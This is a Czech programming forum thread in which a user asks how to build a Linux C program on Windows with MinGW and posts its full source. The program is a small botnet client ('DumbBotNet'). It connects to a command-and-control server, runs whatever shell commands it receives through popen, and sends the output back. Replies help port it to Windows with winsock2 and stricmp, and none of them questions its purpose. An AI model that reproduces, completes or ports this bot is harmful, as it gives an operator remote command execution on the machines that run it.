Diskuze: Kompilace pod Linuxem
V předchozím kvízu, Online test znalostí C++, jsme si ověřili nabyté zkušenosti z kurzu.


Zobrazeno 10 zpráv z 10.
K personalizaci obsahu a reklam, poskytování funkcí sociálních médií a analýze naší návštěvnosti využíváme soubory cookie. Informace o tom, jak náš web používáte, sdílíme se svými partnery pro sociální média, inzerci a analýzy. Partneři tyto údaje mohou zkombinovat s dalšími informacemi, které jste jim poskytli nebo které získali v důsledku toho, že používáte jejich služby.
Používáme nezbytné cookies pro fungování webu a s tvým souhlasem také analytické a marketingové cookies.
Zajišťují základní funkce, bezpečnost a služby, které sis vyžádal. Nelze je vypnout.
| Služba | Poskytovatel | Účel | Cookies a úložiště | Doba uložení |
|---|---|---|---|---|
| ITnetwork | ITnetwork | Provoz webu, relace, přihlášení a uložení nastavení cookies. | PHPSESSID, auth_token, sid, itn_consent_impression, __Host-itn_consent | Relace až 1 rok |
| Google Tag Manager | Správa značek a načítání měřicích nástrojů webu. | Žádné | Neukládá se | |
| Google Fonts | Načítání typografie webu. | Úložiště řízené poskytovatelem | Dle podmínek poskytovatele | |
| Google Hosted Libraries | Načítání potřebných knihoven a stylů webu. | Úložiště řízené poskytovatelem | Dle podmínek poskytovatele | |
| Google reCAPTCHA | Ochrana formulářů a webu před zneužitím. | _GRECAPTCHA, rc::a, rc::b, rc::c, rc::f | Relace až 180 dní | |
| YouTube | Přehrávání vloženého video obsahu. | localStorage, IndexedDB; cookies after playback interaction | Relace až trvalé úložiště | |
| Vimeo | Vimeo | Přehrávání vloženého video obsahu. | __cf_bm, _cfuvid, vuid, localStorage, IndexedDB | Relace až 2 roky |
| Facebook Login | Meta | Přihlášení pomocí účtu třetí strany. | Úložiště řízené poskytovatelem | Relace až 1 rok |
| GoPay | GoPay | Zpracování uživatelem vyžádané platby. | Úložiště řízené poskytovatelem | Dle podmínek poskytovatele |
Pomáhají nám porozumět používání webu a zlepšovat ho.
| Služba | Poskytovatel | Účel | Cookies a úložiště | Doba uložení |
|---|---|---|---|---|
| Google Analytics 4 | Měření návštěvnosti a používání webu. | _ga, _ga_* | Až 2 roky | |
| Microsoft Clarity | Microsoft | Měření návštěvnosti a používání webu. | _clck, _clsk, _cltk | Relace až 1 rok |
Slouží k měření kampaní, personalizaci reklamy a marketingové komunikaci.
| Služba | Poskytovatel | Účel | Cookies a úložiště | Doba uložení |
|---|---|---|---|---|
| Google Ads | Měření kampaní, reklama a remarketing. | _gcl_au, _gcl_ls | Relace až 90 dní | |
| Meta Pixel | Meta | Měření kampaní, reklama a remarketing. | _fbp, _fbc, localStorage | Až 90 dní |
| Sklik | Seznam.cz | Měření kampaní, reklama a remarketing. | retargeting, sid, szn:* | Relace až trvalé úložiště |
| LinkedIn Insight | Měření kampaní, reklama a remarketing. | bcookie, li_gc, lidc, __cf_bm | Relace až 1 rok | |
| Ecomail | Ecomail.cz | Měření kampaní, reklama a remarketing. | ecmid, Úložiště řízené poskytovatelem | Dle podmínek poskytovatele |
| Atribuce kampaní ITnetwork | ITnetwork | Přiřazení návštěvy a objednávky ke kampani. | campaign_clid[*], user_session_context | Až 1 rok |
V předchozím kvízu, Online test znalostí C++, jsme si ověřili nabyté zkušenosti z kurzu.


Záleží, co tam používáš - pokud jsi ho napsal bez použití záležitostí specifických pro Linux, tak prostě vezmi kód a přelož ho v libovolném kompilátoru na Windows (nebo je i možnost po nějaké té konfiguraci kompilovat na Linuxu binárky pro Windows)..
Pokud používáš Linuxové funkce (tj. je tam třeba něco jako: #include <linux/....h> - libovolný nestandardní hlavičkový soubor), tak ti nezbývá nic jiného, než použít http://www.mingw.org/ nebo http://www.cygwin.com/, pokud potřebuješ POSIX.
Mingw to vyřešil, díky moc. Ale ještě bych měl prosbu pánové. Nevíte co s tím?
Při kompilaci mi to hází:
bot.c: In function 'bot_parse':
bot.c:66:7: warning: implicit declaration of function 'strcasecmp' [-Wimplicit-function-declaration]
if (strcasecmp (target, "all") && strcasecmp(target, bot_id))
^
c:/mingw/bin/../lib/gcc/mingw32/5.3.0/../../../../mingw32/bin/ld.exe: cannot find -lpthread
collect2.exe: error: ld returned 1 exit status
Fce "bot_parse" normálně po kompilaci pod linuxem nedělá problém, vypadá následnovně:
int
bot_parse (int s, char *msg)
{
char *target = msg;
char *cmd = NULL;
if ((cmd = strchr (msg, ':')) == NULL)
{
printf ("!! Malformed command. Should be TARGET:command\n");
return -1;
}
*cmd = 0;
cmd++;
cmd[strlen(cmd) - 1] = 0;
if (strcasecmp (target, "all") && strcasecmp(target, bot_id))
return 0;
printf ("+ Executing command: '%s'\n", cmd);
bot_run_cmd (s, cmd);
return 0;
}
To je jenom warning, chyba je až to pod tím. Chybí tomu knihovna pthread.
Doinstalovaj jsem tedy knihovnu. Následně zkusil zkompilovat a hází mi to následující:
C:\Users\okay\AppData\Local\Temp\cc6hWUdw.o:bot.c:(.text+0x209): undefined reference to `inet_addr@4'
C:\Users\okay\AppData\Local\Temp\cc6hWUdw.o:bot.c:(.text+0x229): undefined reference to `htons@4'
C:\Users\okay\AppData\Local\Temp\cc6hWUdw.o:bot.c:(.text+0x24f): undefined reference to `socket@12'
C:\Users\okay\AppData\Local\Temp\cc6hWUdw.o:bot.c:(.text+0x290): undefined reference to `connect@12'
collect2.exe: error: ld returned 1 exit status
Já věděl, že převést to na windows nebude tak jednoduchý 
Ma ten kod vela riadkov? Ak ni pastni ho sem a mozno ho niekto upravi pre windows. Ak si ho pisal sam, bolo by dobre ho okomentovat. Do hlavy programatora dost spatne vidiet.
Tak tady je. Pokud by se někdo nudil a by by ochoten to přepsat pod windows, budu mu vděčen. Třeba je chyba pouze mezi židlí a PC, proto mi to nelze přeložit.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define CC_SERVER "127.0.0.1"
#define CC_PORT 9999
#define MAX_BUF 1024
#define PEXIT(str) {perror (str);exit(1);}
static char *bot_id = NULL;
int
bot_print (int s, char *str)
{
return write (s, str, strlen(str));
}
int
bot_read (int s, char *msg)
{
memset (msg, 0, MAX_BUF);
if (read (s, msg, MAX_BUF) <= 0) PEXIT ("bot_read:");
return 0;
}
int
bot_run_cmd (int s, char *cmd)
{
char line[1024];
FILE *f = popen (cmd,"r");
if (!f) return -1;
while (!feof (f))
{
if (!fgets (line, 1024, f)) break;
bot_print (s, bot_id);
bot_print (s, ":");
bot_print (s, line);
}
fclose(f);
return 0;
}
int
bot_parse (int s, char *msg)
{
char *target = msg;
char *cmd = NULL;
if ((cmd = strchr (msg, ':')) == NULL)
{
printf ("!! Malformed command. Should be TARGET:command\n");
return -1;
}
*cmd = 0;
cmd++;
cmd[strlen(cmd) - 1] = 0;
if (strcasecmp (target, "all") && strcasecmp(target, bot_id))
return 0;
printf ("+ Executing command: '%s'\n", cmd);
bot_run_cmd (s, cmd);
return 0;
}
int
bot_connect_cc (char *ip, int port)
{
char msg[1024];
struct sockaddr_in server;
int s;
server.sin_addr.s_addr = inet_addr(ip);
server.sin_family = AF_INET;
server.sin_port = htons(port);
if ((s = socket (PF_INET, SOCK_STREAM, 0)) < 0)
PEXIT ("socket:");
if ((connect (s, (struct sockaddr*) &server, sizeof(server))) < 0)
PEXIT ("conect:");
snprintf (msg, 1024, "%s: This is '%s' Up and Running\n", bot_id, bot_id);
bot_print (s, msg);
return s;
}
int
main (int argc, char* argv[])
{
char msg[MAX_BUF];
int cc_s;
if (argc !=2) PEXIT ("Invalid Number Of Arguments:");
bot_id = strdup (argv[1]);
printf ("'%s' joining the DumbBotNet\n", bot_id);
cc_s = bot_connect_cc (CC_SERVER, CC_PORT);
while (1)
{
bot_read (cc_s, msg);
bot_parse (cc_s, msg);
}
}
Najdi si na nete ekvivalenty pre windows.
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
Asi bude treba niekde aj trochu upravit kod, aby s ekvivalentami
komunikoval.
Za pomoci preprocesoru mozes potom spravit ten kod multiplatformovy.
Ty síťové věci by mělo na Windows vyřešit
#include <winsock2.h>
Co se týče toho "implicit declaration", tak to bys opravdu neměl ignorovat, protože to v podstatě znamená, že nebyla nalezena hlavička pro danou funkci. Takže výsledek pak fungovat nebude. Warningy se nevyplatí nikdy ignorovat.
Co se týče strcasecmp, jejím ekvivalentem na Windows je stricmp.
Zobrazeno 10 zpráv z 10.